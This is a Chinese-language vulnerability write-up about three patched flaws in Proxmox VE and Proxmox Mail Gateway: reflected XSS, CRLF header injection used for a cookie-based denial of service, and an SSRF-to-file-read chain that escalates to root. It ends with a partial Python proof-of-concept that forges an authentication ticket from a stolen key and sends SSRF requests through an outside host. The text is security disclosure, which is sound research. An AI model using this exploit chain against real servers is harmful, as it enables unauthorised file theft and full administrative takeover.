Proxmox VE与Proxmox Mail Gateway多重漏洞深度剖析

本文详细分析了Proxmox VE和Proxmox Mail Gateway中的三个安全漏洞,包括认证后XSS、CRLF注入以及SSRF结合LFI和权限提升链,涵盖技术细节、影响范围和修复方案。

Multiple Vulnerabilities in Proxmox VE & Proxmox Mail Gateway

Background

Proxmox Virtual Environment (Proxmox VE or PVE) 是一个开源类型1 hypervisor。它包含一个基于Web的管理界面,使用Perl编写。另一个Proxmox产品Proxmox Mail Gateway (PMG) 同样使用Perl编写,并具有类似的Web管理界面。它们共享部分代码库。

在本文中,我将逐步介绍如何调试PVE的Web服务,并分析在PVE和PMG中发现的三个漏洞。

[更新] 这是对本文的快速小更新。MITRE于2022年12月9日回复我们,为剩余的两个漏洞分配了CVE-2022-35507和CVE-2022-35508。

非常感谢MITRE的回复。

Locating the source code

PVE是一个基于Debian的Linux发行版。ISO安装程序可在其网站获取。请注意,如果您想复现本文中的任何漏洞,请使用2022年5月4日更新的“Proxmox VE 7.2 ISO Installer”,该版本除非手动运行apt update,否则不包含补丁。

在默认安装中,Web服务应监听端口8006。

通过几个命令,不难发现Web服务的脚本位于/usr/share/perl5/

1
2
3
4
ss -natlp | grep 8006           # 哪个进程在监听端口8006
which pveproxy                  # 可执行文件在哪里
head `which pveproxy`           # 是ELF、shell脚本还是其他?
find /usr -name "SafeSyslog*"   # "SafeSyslog"模块被pveproxy使用的路径

Setting up debug environment

我选择IntelliJ IDEA及其Perl插件进行调试。以下是设置步骤:

In IDEA

  1. 在PVE服务器上打包/usr/share/perl5/,并在IDEA中作为项目打开
  2. 转到Settings > Plugins并安装Perl插件
  3. 转到Settings > Languages & Frameworks > Perl5,
    • 选择一个Perl5解释器(本地或Docker均可),然后
    • 设置Target version为v5.32,与PVE使用的perl --version相同
  4. 在Project窗口(Alt+1)中,右键单击perl5目录,Mark Directory as > Perl5 Library Root。

此时,您应该在IDEA中拥有正确的语法高亮和依赖解析。

  1. 转到Run > Edit Configurations,添加一个新的“Perl Remote Debugging”条目并保存:
    • Name: PVE remote
    • Remote project root: /usr/share/perl5
    • Connection mode: IDE connects to the perl process
    • Server host: 您的PVE服务器IP
    • Server port: 12345

On the PVE server

运行以下命令安装所需的调试工具:

1
2
apt install gcc make
cpan Devel::Camelcadedb

全部设置完成。要启动调试会话,在IDEA中点击Run > Debug ‘PVE remote’,并在服务器上运行PERL5_DEBUG_HOST=<your PVE server IP> PERL5_DEBUG_PORT=12345 PERL5_DEBUG_ROLE=server perl -T -d:Camelcadedb /usr/bin/pveproxy start -debug。如果一切顺利,调试器应默认在SSL.pm的第330行中断,如下图所示。

Bug 0x01: Post-auth XSS in API inspector

通过登录Web界面,可以观察到许多请求发送到路径/api2/json/下的端点。通常,/api后的json表示响应数据的格式,服务器可能支持多种格式用于不同目的。例如,xml可能用于RPC调用,jsonp用于跨域<script>标签,或html用于设置innerHTML。在PVE中,如果我们将json改为html,服务器将返回一个包含json结果的“API Inspector”页面:

进一步测试显示,服务器未正确转义用户输入。如果我们访问一个不存在的API端点,请求路径将反映在<a>标签的href属性中。因此,攻击者可以注入HTML标签以实现反射型跨站脚本(XSS)。

Further Analysis

函数handle_request位于perl5/PVE/APIServer/AnyEvent.pm第1100行,是我们的入口点。如果请求路径以/api2开头,它将把请求传递给函数handle_api2_request

步入handle_api2_request,我们可以看到在第865行,变量$rel_uri$format通过正则表达式从请求路径的其余部分提取。然后调用函数PVE::APIServer::Formatter::get_formatter来获取用于生成响应的“格式化器”。

稍后,在第946行调用$formatter。在生成导航栏的“面包屑”HTML时,请求路径直接连接到<a>标签的href属性。

Impacts, attack conditions & constraints

由于认证cookie PVEAuthCookie设置了Session属性,成功利用需要受害者在同一浏览器会话中登录Web界面,然后访问恶意链接。

攻击者可以通过执行恶意JavaScript代码访问Web界面中的每个功能。其中一个功能是执行shell命令。以下视频演示了一个可能的攻击场景。在视频中,受害者登录了PVE Web UI,然后访问了一个链接。在攻击者的机器上生成了PVE主机的反向shell。

Patch

此漏洞在pve-http-server版本4.1-2中通过将用户输入编码为HTML实体来修复。

Bug 0x02: CRLF injection in response headers

在处理HTTP请求时,如果有任何错误,PVE服务器将在响应的状态行中写入错误消息。

相应的代码位于perl5/PVE/APIServer/AnyEvent.pm

1
2
3
4
5
6
7
8
# line 294
my $code = $resp->code;
my $msg = $resp->message || HTTP::Status::status_message($code);
($msg) = $msg =~m/^(.*)$/m;   # [1]
# ...
# line 308
my $proto = $reqstate->{proto} ? $reqstate->{proto}->{str} : 'HTTP/1.0';
my $res = "$proto $code $msg\015\012";   # [2]

在[1]处,服务器使用正则表达式匹配错误消息的第一行,试图避免额外行在[2]处破坏HTTP响应。然而,此方法仅防止LF(%0a)。在基于Chromium的浏览器中,仍然可以使用CR(%0d)注入响应头。

这是在Burp Suite中的响应样子:

Impacts, attack conditions & constraints

在测试时,使用CR(%0d)注入响应头仅在基于Chromium的浏览器(Chrome、MS Edge、Opera等)中有效,且仅使用CR(%0d)无法注入到响应体中。Firefox在没有LF(%0a)的情况下不识别CR(%0d)作为有效的换行指示符。

PVE中的这个漏洞起初可能看起来完全无害。不幸的是,在AnyEvent.pm第1327行,有一个对传入HTTP请求的长度限制检查。如果请求头超过8192字节,服务器将拒绝处理HTTP请求。

1
2
3
4
5
# line 55
my $limit_max_header_size = 8*1024;
# ...
# line 1327
die "http header too large\n" if ($state->{size} += length($line)) >= $limit_max_header_size;

因此,攻击者可以制作一个恶意网页,在受害者的PVE域上多次设置长cookie。一旦受害者访问恶意网页,后续对PVE域的HTTP请求将携带非常长的cookie头,从而被服务器拒绝。

以下视频演示了此客户端DoS漏洞。在视频中,受害者最初能够使用PVE Web UI。访问恶意链接后,受害者无法再访问Web UI,直到清除cookie。

需要注意的是,Chrome默认允许第三方cookie。这是利用此客户端DoS漏洞的必要条件,因为我们是从攻击者的域设置cookie到受害者的PVE域。然而,如果受害者在浏览器设置中更改了cookie策略为“阻止第三方cookie”或“阻止所有cookie(不推荐)”,此攻击将无效。

Patch

此漏洞在pve-http-server版本4.1-3中通过添加对\r\n的额外检查来修复。

Bug 0x03: Post-auth SSRF + LFI + Privilege Escalation

SSRF

PVE服务器可以作为独立节点运行或加入集群以与其他节点连接。这种设计自然允许节点之间交换信息。例如,API /api2/json/nodes/{node_name}/status用于按名称查询集群中节点的状态。它也可以用于查询节点本身。

如果我们将node_name更改为不存在的值“test”,我们将看到此错误消息:HTTP/1.1 500 hostname lookup 'test' failed - failed to get address info for: test: No address associated with hostname。似乎服务器正在尝试对给定的node_name执行DNS查找。使用Burp Collaborator的快速测试验证了我们的猜测:

通过步进调试,我们能够定位到AnyEvent.pm中的proxy_request的相应代码。事实证明,服务器将node_name解析为IP地址,然后将我们的HTTP请求中继到https://{IP}:8006/api2/json/nodes/{node_name}/status

我们可能想尝试的是设置我们自己的HTTPS服务器监听端口8006,并带有有效的SSL证书,观察中继的请求是否可以进入。虽然这样不行,因为在发出请求之前执行了多个检查,其中一个检查期望为集群中的每个节点找到/etc/pve/nodes/{node_name}/pve-ssl.pem。无论我们输入自己的域名还是IP地址,服务器都找不到证书文件,因为node_name不指向集群中的任何真实节点。因此,在TLS握手期间抛出错误“HTTP/1.1 596 tls_process_server_certificate: certificate verify failed”并停止在那里。

我们注意到的另一件事是,在构建$target URL时,$uri被附加到端口(上图中的第699、703和705行)。开发人员可能假设$uri总是以斜杠(/)开头。虽然这不是真的,因为我们发现可以用其URL编码形式%2F替换斜杠(/)而不破坏请求解析器。

我们尝试通过使用at符号(@)将URL的起始部分变为用户信息并附加我们自己的域,但其中一个健全性检查再次阻止了我们。经过几次尝试,我们设法找到了一个合适的API来利用此SSRF漏洞:GET /api2/json/nodes/{node_name}/tasks/{upid}/log。此API接受任何字符串作为upid,这意味着我们可以将node_name设置为有效节点,以免因证书问题失败。然后我们使用URL编码的斜杠和@来控制主机名。

PVE中没有任何权限的认证用户能够执行此SSRF攻击。由于PVE和PMG之间共享大量代码库,PMG中仅具有低权限“Help Desk”角色或“Audit”角色的认证用户也可以使用API /api2/html/nodes/{node_name}/pbs/{remote}/snapshot/利用此SSRF漏洞。

Arbitrary file read

http_request的回调函数内部,服务器在响应头中查找pvestreamfile头(第778行)并将其值提取到变量$stream中。$stream随后传递给sysopen,服务器将文件的内容作为响应体返回。

此漏洞代码也存在于PMG中。攻击者可以利用前面介绍的SSRF漏洞,仅凭PVE中的非特权账户或PMG中的低权限账户读取PVE/PMG服务器上的任意文件。sysopen在进程“pve(pmg)proxy worker”中以uid=33(www-data)调用。

Privilege escalation in PMG via unsecured backup file

凭借读取任意文件的能力,黑客可能对存储在服务器上的凭据和密钥特别感兴趣。我们决定深入研究认证过程的实现,以查看服务器是否在数据库或配置文件中存储任何内容,无论是明文还是由某些“密钥”加密。

PVE/PMG中的认证通过使用RSA/SHA-1签名和验证字符串来实现。成功登录后,服务器将为客户端签名一个“ticket”,即“PVEAuthCookie”或“PMGAuthCookie”。以下是ticket的示例:

1
PVE:user01@pve:62BD5976::L1CM303sdb4Lr8yFOxFbw7KNYQ2SKI6LugQJj0+JDBpTG3L2QBBMQTe8Q2/VgECWumE8OyjB1ff15GIMLnHAnOTdGeRUbntaMQhU5kHr6TZsAbRRzZ6MTBqkFTq0lJUcK86BcNpHUaciABVEEjVvgDnOOToJXSMvM/qxzmiusTrx5wpturrF1D8hmhay2sG9eEuKwXVsIb6aeBL0Vcwm7V8VUQ0qqnUyaArAaJ4eW1MLIXgHl23OySYEl3CMg5mdbHyn+B0ITz8N4mYWXA2BedVxwE1Uo6NltJDsd63Mgob7ey9xmZSQI2M9qrLZIIhPbfK6panXJBvuCqAILZKjmw==

双冒号分隔明文和签名。明文的格式是PVE:{username}@{realm}:{hex(timestamp)}。而签名是使用存储在/etc/pve/priv/authkey.key(对于PVE)或/etc/pmg/pmg-authkey.key(对于PMG)的私钥生成的,只有root用户具有对这些文件的读写权限。

1
2
3
4
5
root@pve7:~# ls -l /etc/pve/priv/authkey.key
-rw------- 1 root www-data 1675 Jun 30 10:52 /etc/pve/priv/authkey.key

root@pmg:~# ls -l /etc/pmg/pmg-authkey.key
-rw------- 1 root root 1679 Jun  9 11:43 /etc/pmg/pmg-authkey.key

然而,事实证明,如果PMG中的备份功能曾经被使用过,备份文件将包含authkey。更重要的是,它对www-data用户可读:

1
2
3
root@pmg:/var/lib/pmg/backup# ls -l
total 12
-rw-r--r-- 1 root root 10799 Jun  9 17:16 pmg-backup_2022_06_09_62A1BA65.tgz

备份文件的路径可以从任务日志中提取,该日志也对www-data用户可访问。结合上述所有漏洞,攻击者可以伪造一个ticket,以实现从低权限“Help Desk”角色或“Audit”角色到“root@pam”的权限提升,从而在PMG中获得完全访问权限。

Proof-of-concept

我们在下面附加了python脚本和一个演示此漏洞利用的视频。在视频中,攻击者以“Help Desk”用户身份登录PMG Web UI,由于权限低,无法更改当前用户的角色。运行漏洞利用后,生成了一个伪造的ticket,攻击者以“root@pam”用户身份获得了Web UI的访问权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {}  # {'https': '192.168.86.52:8080'}
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)


def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
    timestamp = hex(int(time.time()) + time_offset)[2:].upper()
    plaintext = f'PMG:{username}:{timestamp}'

    authkey_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing authkey to {authkey_path.name}')
    authkey_path.write(authkey_bytes)
    authkey_path.close()

    txt_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing plaintext to {txt_path.name}')
    txt_path.write(plaintext.encode('utf-8'))
    txt_path.close()

    logging.info(f'calling openssl to sign')
    sig = subprocess.check_output(
        ['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
    sig = base64.b64encode(sig).decode('latin-1')

    ret = f'{plaintext}::{sig}'
    logging.info(f'generated ticket for {username}: {ret}')

    return ret


def read_file(hostname, port, ticket, localhostname, filename):
    logging.info(f'reading {filename}')
    raw_req = f'GET %2Fapi2%2Fhtml%2Fnodes%2F{localhostname}%2Fpbs%[email protected]/snapshot/?f={urllib.parse.quote_plus(filename)} HTTP/1.1\r\n' \
              f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(ticket)}\r\n' \
              'Connection: close\r\n' \
              '\r\n'
    logging.debug(raw_req)
    context = ssl.create_default_context()
    # disable cert check
    context.check_hostname = False
    context.verify_mode = ssl.VerifyMode.CERT_NONE

    ret = b''
    with socket.create_connection((hostname, port), timeout=5) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as ssock:
            ssock.send(raw_req.encode())
            while True:
                try:
                    buf = ssock.recv(2048)
                    ret += buf
                    if (len(buf) < 1):
                        break
                    logging.info(f'recv {len(buf)} bytes')
                except socket.timeout:
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计